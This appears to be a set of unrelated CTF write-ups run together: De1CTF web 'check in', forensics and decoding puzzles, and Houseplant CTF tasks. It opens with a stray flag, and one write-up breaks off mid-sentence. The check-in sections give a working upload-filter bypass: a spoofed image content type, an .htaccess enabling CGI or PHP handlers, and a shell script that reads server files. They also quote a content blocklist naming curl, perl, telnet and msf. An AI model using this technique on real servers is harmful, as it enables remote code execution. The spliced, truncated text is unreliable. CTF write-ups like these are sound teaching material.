Flag: `DogeCTF{t0m_n00k_c@pit4l1st_$cum}`
# check in (web, 120pts) > welcome to 2020De1ctf>> http://129.204.21.115 The site allows you to upload a single file to the server. ![webpage](https://raw.githubusercontent.com/0x1-ctf/ctf-writeups/de1ctf-web-check-in/202005-de1ctf/web-check-in/webpage.png) The headers from the server indicate that we're working with PHP: ```Server: Apache/2.4.6 (CentOS) PHP/5.4.16X-Powered-By: PHP/5.4.16``` We attempted to upload several file types and came up with the following rules: * PHP file extensions are banned (`filename error`)* You can upload any other extension by setting the file type in the request to `image/jpeg` (if you don't you get `filetype error`)* Files cannot contain `perl|pyth|ph|auto|curl|base|>|rm|ruby|openssl|war|lua|msf|xter|telnet`* You are allocated a random directory that all your files are uploaded to Knowing this, we can upload a file that doesn't have an image extension by changing its content type to an image: ```jsconst axios = require('axios');const FormData = require('form-data'); const uploadFile = (contents, filename) => { const data = new FormData(); data.append('fileUpload', contents, { filename, contentType: 'image/jpeg' }); data.append('upload', 'submit'); return axios.post('http://129.204.21.115/index.php', data, { headers: data.getHeaders() }) .then(res => console.log(res.data)) .catch(console.error);}; uploadFile('test', 'test.txt'); // Your dir : uploads/d22230980be937c106887cabaf8507aa ``` Navigating to `http://129.204.21.115/uploads/d22230980be937c106887cabaf8507aa/test.txt` returns `test` as expected. We now have the ability to upload any non-PHP files but the files are echoed back to us so we can't execute anything. We stumbled around here for a while before realising that the server is running [Apache HTTP Server](https://httpd.apache.org/)and `.htaccess` files allow you to override configuration for the specific directory. This makes sense considering all our filesare uploaded to the same directory. Reading the [.htaccess documentation](https://httpd.apache.org/docs/2.4/howto/htaccess.html#cgi) we find that you can enable CGIexecution, so we should be able to execute a bash script and search for the flag. Note that you need to make sure your script[outputs a Content-Type header](https://httpd.apache.org/docs/trunk/howto/cgi.html#writing). `.htaccess````Options +ExecCGIAddHandler cgi-script .sh``` `solve.sh````shell script#!/bin/bashecho "Content-Type: text/plain"echo ""ls -lah /exit 0``` Uploading these files and accessing the bash script shows us the flag is at `/flag`: ```total 80Kdrwxr-xr-x 1 root root 4.0K May 4 08:15 .drwxr-xr-x 1 root root 4.0K May 4 08:15 ..-rwxr-xr-x 1 root root 0 May 4 08:15 .dockerenv-rw-r--r-- 1 root root 12K Oct 1 2019 anaconda-post.loglrwxrwxrwx 1 root root 7 Oct 1 2019 bin -> usr/bindrwxr-xr-x 3 root root 4.0K May 1 11:09 bootdrwxr-xr-x 5 root root 340 May 4 08:15 devdrwxr-xr-x 1 root root 4.0K May 4 08:15 etc-rw-r-xr-x 1 root root 42 May 1 13:17 flag...``` Change `ls -lah /` to `cat /flag` and reupload the script to get the flag: ```De1ctf{cG1_cG1_cg1_857_857_cgll111ll11lll}```
We are given a file called `Deep_Red_Rust` which seems to be a ZIP archive. However, looking at the hexdump, we see that the first 4 bytes are set to `RBOY`, which is a non-standard header. But the string `IHDR` seems to indicate a PNG image. We used `hexedit` to replace the first 4 bytes with `89 50 4E 47`, which are the PNG magic bytes. We get an image which contains the text `K33pItS3cr3t` written in the sand: The ZIP file detected by the `file` command is embedded in the image and we can extract it using `binwalk` with the `-e` flag. The ZIP file was password-protected and the password was, of course, `K33pItS3cr3t`. On extracting the ZIP file, we are left with a file called `Goodbye.docm`. The `.docm` extension is used for MS Word documents with macros enabled. Using [oletools](https://github.com/decalage2/oletools) to extract the macro VBA code, we can deduce that the macro takes an input from a text box and uses it to XOR the encrypted flag. Since we know the flag format, we can use this knowledge to obtain the first five letters from the key. The first 5 characters of the key are `'Oppur'`. Judging by the Mars-themed challenge, we suspected that the key might be `'Opportunity'`. Luckily for us, this was correct.
# Check IN ## Description The web app had file upload functionality. User files uploads to the: /uploads/[md5(REMOTE_ADDR)]/ And all sending content passes via the following filters:```php$black = file_get_contents($tmp_name);if (!$tmp_name) { $result1 ="???";}else if (!$name) { $result1 ="filename cannot be empty!";}else if (preg_match("/ph|ml|js|cg/i", $name)) { $result1 = "filename error";}else if (!in_array($_FILES["fileUpload"]['type'], $typeAccepted)) { $result1 = 'filetype error';}else if (preg_match("/perl|pyth|ph|auto|curl|base|>|rm|ruby|openssl|war|lua|msf|xter|telnet/i",$black)){ $result1 = "perl|pyth|ph|auto|curl|base|>|rm|ruby|openssl|war|lua|msf|xter|telnet in contents!";}``` # Solution We had to deal with the apache server and could upload the ".htaccess" file to change the apache configuration settings for our folder. After tring CGI script, RewriteRules, Indexes, server-status, server-info and etc. that could be helpful, we found that htaccess files supports multi lines like: ```SetHa\ndler server-status``` It means, that we could bypass the filter and configure `PHP` interpreter to work with other extensions:```AddHandler application/x-httpd-p\hp .foo``` There was only one problem, that we should use `
Extract png from pcap Unzip google drive link in png Get Microsoft doc from zip Get another zip file extracted from doc Crack this zip's password Get jpg from zip file Get rar from jpg Get flag from alternate data stream of rar Original writeup for pictures/less lazy explanation
# Satan's Jigsaw ## Description > Oh no! I dropped my pixels on the floor and they're all muddled up! It's going to take me years to sort all 90,000 of these again :( Attached is a huge zip file which take ~ 30 min to decompress... ## Solution In the zip file, there are 90,000 images named `n.jpg` with `n` being a random number. Every image contains only 1 pixel. By opening a few of them, we see that they have different colors. As the title hints for a jigsaw, let's reconstruct a 300x300 image with all those pixels in the order given by their file name. ```pythonfrom PIL import Imageimport osimport numpy as np docs = os.listdir("jigsaw/chall")doc_ints = [int(x.split(".")[0]) for x in docs]doc_ints.sort() i = 0j = 0image = [[None for k in range(300)] for l in range(300)]for d in doc_ints: image[i][j] = Image.open("jigsaw/chall/{}.jpg".format(d)).load()[0,0] j += 1 if j == 300: i += 1 j = 0 image = np.array(image, dtype=np.uint8) new_image = Image.fromarray(image)new_image.save("jigsaw.png")``` Yeah we get back an image that makes sense! ![jigsaw](../images/jigsaw.png) We scan the QR code and get back our flag. Flag: `rtcp{d1d-you_d0_7his_by_h4nd?}`
# Zip-a-Dee-Doo-Dah ## Description > I zipped the file a bit too many times it seems... and I may have added passwords to some of the zip files... eh, they should be pretty common passwords right?> > Dev: William> > Hint! A script will help you with this, please don't try do this manually...> > Hint! All passwords should be in the SecLists/Passwords/xato-net-10-million-passwords-100.txt file, which you can get here : https://github.com/danielmiessler/SecLists/blob/master/Passwords/xato-net-10-million-passwords-100.txtor alternatively, use "git clone https://github.com/danielmiessler/SecLists" Attached 1819.gz ## Solution I first begin to download the passlist, then try to decompress a few files manually. All decompressed files have names `n.extension` with `n` a decreasing integer, so I expect to uncompress 1819 files. Doing it manually is out of question of course. From the few 10 files I have decompressed, I have seen zip files, tar files and gz files. Some zip files also had a password. So let's begin to automatize it, using this Python script. To construct it, I just implement some file, and when I reach a new type of file, I add the decompress function in the script. It happens that only the mentioned files above were enough. I'm also using [JohntheRipper](https://www.openwall.com/john/) to crack passwords. ```pythonimport osimport zipfileimport subprocessimport tarfileimport gzip file = "1819.gz" def john_this(): os.system("../../JohnTheRipper/run/zip2john {} > crack".format(file)) p = subprocess.run(["../../JohnTheRipper/run/john", "--wordlist=pass.txt", "crack"], capture_output=True) return p.stdout.decode().split("\n")[1].split(" ")[0] while True: if ".zip" in file: zf = zipfile.ZipFile(file) try: zf.testzip() file = zf.namelist()[0] except RuntimeError as e: if "encrypted" not in str(e): print(e) exit(1) pwd = john_this() file = zf.namelist()[0] zf.extract(pwd=pwd.encode(), member=file) elif ".tar" in file: tf = tarfile.open(file, mode="r") file = tf.next().name tf.extract(file) elif ".gz" in file: with gzip.GzipFile(file, mode="rb") as gf: input = gf.read() with open("next", "wb") as f: f.write(input) extension = os.popen("file next").read() if 'tar' in extension: os.rename("next", "next.tar") file = "next.tar" elif 'gzip' in extension: os.rename("next", "next.gz") file = "next.gz" elif 'Zip' in extension: os.rename("next", "next.zip") file = "next.zip" else: print(extension) break``` I get a final text file with the flag. Flag: `rtcp{z1pPeD_4_c0uPl3_t00_M4Ny_t1m3s_a1b8c687}`
After extracting the ZIP file provided, we get 2 `.txt` files: `RULES.txt` and a file with weird symbols. The contents of `RULES.txt` are not completely clear but they seem to be some instructions on traversing a path and storing some characters in a `FLAG` string using a stack. Since `RULES.txt` indicates that the weird characters represent some kind of labyrinth, we can proceed to rename the text file containing them to `maze.txt`. Moving on, we notice that the `$` character is supposed to represent the start of the path. However, there are several of these in our maze. Therefore, we guessed that there were several strings hidden in the maze, and we assumed that one of them would be the flag. Given the flag format for the CTF, `{FLG:<flag>}`, we wrote a Python script to find the flag.
# Houseplant CTF 2020 – Beginner 9 * **Category:** beginners, crypto* **Points:** 25 ## Challenge > Hope you've been paying attention! :D> > Remember to wrap the flag with rtcp{}>> Hint! we stan cyberchef in this household>> Beginner 10.txt 200e8ed3c39c36c1c9a2ff2a87a5f5d8 ## Solution The challenge gives you [a file](https://github.com/m3ssap0/CTF-Writeups/raw/master/Houseplant%20CTF%202020/Beginner%209/Beginner10.txt) with the following content. Multiple encoding/encryption algorithms are used. ```MmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMGEgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMGEgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMGEgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMGEgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMGEgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMGEgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMGEgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMGEgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMGEgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMGEgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMGEgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMGEgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMGEgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMGEgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMGEgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMGEgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMGEgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMGEgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMGEgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMGEgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMGEgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMGEgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMGEgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMGEgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMGEgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmQgMmQgMmQgMmQgMmQgMjAgMmUgMmQgMmQgMmQgMmQ=``` From base64 you will have the following. ```2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 0a 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 0a 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 0a 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 0a 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 0a 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 0a 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 0a 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 0a 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 0a 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 0a 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 0a 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 0a 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 0a 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 0a 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 0a 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 0a 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 0a 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 0a 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 0a 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 0a 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 0a 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 0a 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 0a 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 0a 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 0a 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2e 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2d 2d 2d 2d 2d 20 2e 2d 2d 2d 2d``` From hexadecimal representation you will have the following. ```----- ----- .---- .---- ----- ----- .---- ---------- ----- .---- .---- ----- .---- .---- ---------- ----- .---- ----- ----- ----- ----- ---------- ----- .---- .---- ----- .---- ----- .--------- ----- .---- ----- ----- ----- ----- ---------- ----- .---- .---- ----- ----- .---- ---------- ----- .---- .---- ----- .---- .---- ---------- ----- .---- ----- ----- ----- ----- ---------- ----- .---- .---- .---- ----- ----- .--------- ----- .---- ----- ----- ----- ----- ---------- ----- .---- .---- ----- ----- .---- ---------- ----- .---- .---- ----- .---- ----- .--------- ----- .---- ----- ----- ----- ----- ---------- ----- .---- .---- ----- ----- .---- ---------- ----- .---- .---- ----- ----- .---- ---------- ----- .---- ----- ----- ----- ----- ---------- ----- .---- .---- ----- ----- .---- ---------- ----- .---- .---- ----- .---- .---- ---------- ----- .---- ----- ----- ----- ----- ---------- ----- .---- .---- ----- ----- .---- ---------- ----- .---- .---- ----- .---- ----- .--------- ----- .---- ----- ----- ----- ----- ---------- ----- .---- .---- ----- ----- .---- ---------- ----- .---- .---- ----- .---- .---- ---------- ----- .---- ----- ----- ----- ----- ---------- ----- .---- .---- .---- ----- ----- .----``` From Morse code you will have the following. ```00110010 00110110 00100000 00110101 00100000 00110010 00110110 00100000 00111001 00100000 00110010 00110101 00100000 00110010 00110010 00100000 00110010 00110110 00100000 00110010 00110101 00100000 00110010 00110110 00100000 00111001``` From binary representation you will have the following. ```26 5 26 9 25 22 26 25 26 9``` From A1Z26 cipher you will have the following. ```zeziyvzyzi``` From ROT13 you will have the following. ```mrmvlimlmv``` From Atbash cipher you will have the following. ```nineornone``` So the flag is the following. ```rtcp{nineornone}```
# 11 ## Description > I wrote a quick script, would you like to read it? - Delphine> > > (doorbell rings)> > > > delphine: Jess, I heard you've been stressed, you should know I'm always ready to help!> >> > Jess: Did you make something? I'm hungry...> > > > Delphine: Of course! Fresh from the bakery, I wanted to give you something, after all, you do so much to help me all the time!> > > > Jess: Aww, thank you, Delphine! Wow, this bread smells good. How is the bakery?> > > > Delphine: Lots of customers and positive reviews, all thanks to the mention in rtcp!> > > > Jess: I am really glad it's going well! During the weekend, I will go see you guys. You know how much I really love your amazing black forest cakes.> > > > Delphine: Well, you know that you can get a free slice anytime you want.> > > > (doorbell rings again)> > > > Jess: Oh, that must be Vihan, we're discussing some important details for rtcp.> > > > Delphine: sounds good, I need to get back to the bakery!> > > > Jess: Thank you for the bread! <3> > Dev: Delphine> > edit: This has been a source of confusion, so: the code in the first hint isn't exactly the method to solve, but is meant to give you a starting point to try and decode the script. Sorry for any confusion.> > Hint! I was eleven when I finished A Series of Unfortunate Events.> > Hint! Flag is in format: rtcp{.*}>> add _ (underscores) in place of spaces.>> Hint! Character names count too ## Solution By Googling `A Series of Unfortunate Events cipher`, we discover [Sebald Code](https://snicket.fandom.com/wiki/Sebald_Code). The description: > The beginning of a coded passage is signaled by the ringing, or mention of the ringing, of a bell. The first word to come after this signal is the first word of the coded message. Every eleventh word after this first word is another part of the coded message, making it so that ten uncoded words fall between every coded word. This pattern continues until the first bell stops ringing, a second bell rings, or a bell's ringing is again mentioned. This seems to correspond to the given text, with bells ringing. However, it leads to nothing relevant, as the edit mentions, it is not straightforward Sebald code. I scripted Sebald code, trying different values for the number of uncoded words. After too much time looking for a sentence that make sense, I finally found that we needed an offset. ```pythonwith open("11.txt", "r") as f: s = f.read() split = s.replace("\n", " ").split(" ")for j in range(11): for i in range(0, len(split)-j, 11): print(split[i+j], end=" ") print()``` The program outputs `I'm hungry... give me bread and I will love you` Flag: `rtcp{I'm_hungry_give_me_bread_and_I_will_love_you}`
